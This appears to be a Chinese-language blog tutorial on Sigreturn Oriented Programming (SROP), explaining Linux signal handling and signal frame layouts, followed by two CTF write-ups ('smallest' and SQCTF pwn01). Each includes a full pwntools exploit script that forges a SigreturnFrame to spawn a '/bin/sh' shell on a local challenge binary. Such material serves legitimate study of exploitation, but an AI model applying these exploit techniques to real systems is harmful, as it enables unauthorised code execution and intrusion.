SROP

参考

【技术分享】Sigreturn Oriented Programming攻击简介-安全KER - 安全资讯平台

SROP技术详解-CSDN博客

signal机制

在介绍SROP之前需要介绍SROP利用的机制signal机制

signal 机制是类 unix 系统中进程之间相互传递信息的一种方法。一般,我们也称其为软中断信号,或者软中断。比如说,进程之间可以通过系统调用 kill 来发送软中断信号。一般来说,信号机制常见的步骤如下图所示:

Process of Signal Handlering

  1. 内核向某个进程发送 signal 机制,该进程会被暂时挂起,进入内核态。
  2. 内核会为该进程保存相应的上下文,主要是将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址。此时栈的结构如下图所示,我们称 ucontext 以及 siginfo 这一段为 Signal Frame。需要注意的是,这一部分是在用户进程的地址空间的。之后会跳转到注册过的 signal handler 中处理相应的 signal。因此,当 signal handler 执行完之后,就会执行 sigreturn 代码。
  3. signal handler 返回后,内核为执行 sigreturn 系统调用,为该进程恢复之前保存的上下文,其中包括将所有压入的寄存器,重新 pop 回对应的寄存器,最后恢复进程的执行。其中,32 位的 sigreturn 的调用号为 119(0x77),64 位的系统调用号为 15(0xf)。

首先,当由中断或异常产生时,会发出一个信号,然后会送给相关进程,此时系统切换到内核模式。
再次返回到用户模式前,内核会执行do_signal()函数,最终会调用setup_frame()函数来设置用户栈。setup_frame函数主要工作是往用户栈中push一个保存有全部寄存器的值和其它重要信息的数据结构(各架构各不相同),另外还会push一个signal function的返回地址——sigruturn()的地址
当这些准备工作完成后,就开始执行由用户指定的signal function了。当执行完后,因为返回地址被设置为sigreturn()系统调用的地址了,所以此时系统又会陷入内核执行sigreturn()系统调用。此系统调用的主要工作是用原先push到栈中的内容来恢复寄存器的值和相关内容。当系统调用结束后,程序恢复执行。

对于 signal Frame 来说,会因为架构的不同而有所区别,这里给出分别给出 x86 以及 x64 的 sigcontext

  • x86

    struct sigcontext
    {
      unsigned short gs, __gsh;
      unsigned short fs, __fsh;
      unsigned short es, __esh;
      unsigned short ds, __dsh;
      unsigned long edi;
      unsigned long esi;
      unsigned long ebp;
      unsigned long esp;
      unsigned long ebx;
      unsigned long edx;
      unsigned long ecx;
      unsigned long eax;
      unsigned long trapno;
      unsigned long err;
      unsigned long eip;
      unsigned short cs, __csh;
      unsigned long eflags;
      unsigned long esp_at_signal;
      unsigned short ss, __ssh;
      struct _fpstate * fpstate;
      unsigned long oldmask;
      unsigned long cr2;
    };
    
  • x64

    struct _fpstate
    {
      /* FPU environment matching the 64-bit FXSAVE layout.  */
      __uint16_t        cwd;
      __uint16_t        swd;
      __uint16_t        ftw;
      __uint16_t        fop;
      __uint64_t        rip;
      __uint64_t        rdp;
      __uint32_t        mxcsr;
      __uint32_t        mxcr_mask;
      struct _fpxreg    _st[8];
      struct _xmmreg    _xmm[16];
      __uint32_t        padding[24];
    };
    
    struct sigcontext
    {
      __uint64_t r8;
      __uint64_t r9;
      __uint64_t r10;
      __uint64_t r11;
      __uint64_t r12;
      __uint64_t r13;
      __uint64_t r14;
      __uint64_t r15;
      __uint64_t rdi;
      __uint64_t rsi;
      __uint64_t rbp;
      __uint64_t rbx;
      __uint64_t rdx;
      __uint64_t rax;
      __uint64_t rcx;
      __uint64_t rsp;
      __uint64_t rip;
      __uint64_t eflags;
      unsigned short cs;
      unsigned short gs;
      unsigned short fs;
      unsigned short __pad0;
      __uint64_t err;
      __uint64_t trapno;
      __uint64_t oldmask;
      __uint64_t cr2;
      __extension__ union
        {
          struct _fpstate * fpstate;
          __uint64_t __fpstate_word;
        };
      __uint64_t __reserved1 [8];
    };
    

攻击原理

仔细回顾一下内核在 signal 信号处理的过程中的工作,我们可以发现,内核主要做的工作就是为进程保存上下文,并且恢复上下文。这个主要的变动都在 Signal Frame 中。但是需要注意的是:

  • Signal Frame 被保存在用户的地址空间中,所以用户是可以读写的。
  • 由于内核与信号处理程序无关 (kernel agnostic about signal handlers),它并不会去记录这个 signal 对应的 Signal Frame,所以当执行 sigreturn 系统调用时,此时的 Signal Frame 并不一定是之前内核为用户进程保存的 Signal Frame。

其中第二点是最重要的
由于存在sigreturn系统调用,我们可以通过提前根据对应架构的Signal Frame结构,在栈上构造Signal Frame,然后调用sigreturn,改变例如rip(控制程序执行流程),rdi,rsi,rdx(调用函数传入的参数)等重要寄存器来达到控制程序的目的

利用前提

  1. 可以通过栈溢出来控制栈的内容

  2. 需要知道相应的地址

    • "/bin/sh"

    • Signal Frame

    • syscall

    • sigreturn

  3. 需要有够大的空间来塞下整个 sigal frame

360 春秋杯smallest-pwn

以360 春秋杯中的 smallest-pwn做例子

题目

打开IDA可以发现只有以下内容

.text:00000000004000B0                 public start
.text:00000000004000B0 start           proc near               ; DATA XREF: LOAD:0000000000400018↑o
.text:00000000004000B0                 xor     rax, rax
.text:00000000004000B3                 mov     edx, 400h       ; count
.text:00000000004000B8                 mov     rsi, rsp        ; buf
.text:00000000004000BB                 mov     rdi, rax        ; fd
.text:00000000004000BE                 syscall                 ; LINUX - sys_read
.text:00000000004000C0                 retn
.text:00000000004000C0 start           endp

尝试

首先回想一下我们最后要达成什么目的,我们的目的是执行execve('/bin/sh',0,0)指令,所以我们需要rax=0x3B,rdi="bin/sh",rsi=0,rdx=0

再来看这个程序,这个程序就是利用系统调用执行read(0,rbp,0x400),并且直接retrbp的地址。所以可以通过溢出rbp来控制程序的执行流程

试验一下,可以看到输入的地址就是返回image-20250417182504785

然后观察这几个语句,我们可以通过控制rax来控制rdi。同时rax还是函数的返回值,而write()的返回值是读入字符的长度。可以通过这个控制rax
而函数的返回地址我们也可以控制,所以可以通过控制返回地址跳过xor rax,rax来控制rax

这里有个比较巧的事,write的系统调用号是1,同时标准输出的文件标识符也是1,所以可以通过把rax置1,跳过xor rax,rax语句,来执行write(1,rbp,0x400),这样可以泄露栈地址。

通过泄露栈地址,我们可以把/bin/sh写到栈上,并且得知bin/sh的地址。然后构造Signal Frame,调用sigreturn()来执行execve("/bin/sh",0,0)

思路

直接借用hollk师傅的思路总结

  1. 向栈中部署三个start函数的起始位置也就是xor rax,rax代码地址(0x00000000004000B0),记做start_addr
  2. 在第一次执行read函数时,向程序写入“\xb3”使得部署的第二个start_addr的地址被覆盖成0x00000000004000B3,并使rax寄存器值变为1
  3. 控制write函数会打印出从当前栈顶开始的0x400个字节的内容,并接受指定信息
  4. 在栈中部署read函数需要对应的寄存器值,调用sigreturn将栈中数据压进寄存器
  5. 在栈中部署/bin/sh字符串,以及execve函数需要对应的寄存器值,调用sigreturn将栈中数据压进寄存器

exp

注意SigreturnFrame的rip必须为sys_add,不然其他地方有寄存器操作会改变寄存器的值

import requests
from pwn import *
from requests.auth import *
import ctypes
from ctypes import *
from struct import pack
from LibcSearcher import LibcSearcher

filename = "./smallest"

p=process(filename)
elf = ELF(filename)


s       = lambda data               :p.send(data)
ss      = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(data)
sls     = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))

def exp_init(arch,os,debug):
    if(arch==0):
        context.arch="i386"
    else:
         context.arch="amd64"
    if(os==0):
        context.os="linux"
    if(debug==1):
        context.log_level="debug"

def debug(cmd=""):
    gdb.attach(p, cmd)
    pause()

exp_init(1,0,1)

start_add=0x4000B0 
syscall_ret=0x4000BE

payload=p64(start_add)*3
s(payload)

s('\xb3') 
stack_add=uu64(p.recv()[8:16]) #这两种都可以 
# stack_add=l64() 
leak("stack_add",stack_add)

read=SigreturnFrame()
read.rax = constants.SYS_read 
read.rdi = 0
read.rsi = stack_add  
read.rdx = 0x400 
read.rsp = stack_add  
read.rip = syscall_ret 
payload = p64(start_add) + p64(syscall_ret) + (bytes(read))
s(payload)
s(payload[8:8+15]) #输入15个字节使得rax寄存器的值为15,进行sigreturn调用

execve=SigreturnFrame()
execve.rax=constants.SYS_execve
execve.rdi=stack_add+0x120
execve.rsi=0
execve.rdx=0
execve.rsp=stack_add
execve.rip=syscall_ret

payload=p64(start_add)+p64(syscall_ret)+bytes(execve)
payload1=payload+(0x120-len(payload))*b'a'+b'/bin/sh\x00'
s(payload1)
s(payload1[8:8+15])



# debug()

p.interactive()

SQCTF pwn01 当时只道是寻常

题目

拖进IDA里可以看到主程序只有三个系统调用image-20250417233252207IDA的反编译看着太难受,还是直接看汇编舒服😋image-20250417233357453经过调查,只有两个部分的代码

  1. 主程序,三个系统调用
  2. pop rdi;pop rax;retn的gadget

同时还在字符串中发现/bin/shimage-20250417233615418

通过以上分析,我们现在只缺少一个execve("/bin/sh",0,0)就可以拿到shell了。主要思路为 通过gadget控制rai0xf,然后构造execveSigreturnFrame来执行execve("/bin/sh",0,0)

exp

import requests
from pwn import *
from requests.auth import *
import ctypes
from ctypes import *
from struct import pack
from LibcSearcher import LibcSearcher

filename = "./pwn"

p=process(filename)
elf = ELF(filename)


s       = lambda data               :p.send(data)
ss      = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sls     = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))

def exp_init(arch,os,debug):
    if(arch==0):
        context.arch="i386"
    else:
         context.arch="amd64"
    if(os==0):
        context.os="linux"
    if(debug==1):
        context.log_level="debug"

def debug(cmd=""):
    gdb.attach(p, cmd)
    pause()

exp_init(1,0,1)

start_add=0x401000
sys_add=0x401045
rax_ret=0x40104A
binsh_add=0x40203A

execve=SigreturnFrame()
execve.rax=constants.SYS_execve
execve.rdi=binsh_add
execve.rsi=0
execve.rdx=0
execve.rip=sys_add
# debug()

payload=b'a'*8 + p64(rax_ret) + p64(0xf) + p64(sys_add) + bytes(execve)
sa(b'extraordinary.\n\r',payload)


p.interactive()
posted @ 2025-06-01 16:01  r_0xy  阅读(55)  评论(0)    收藏  举报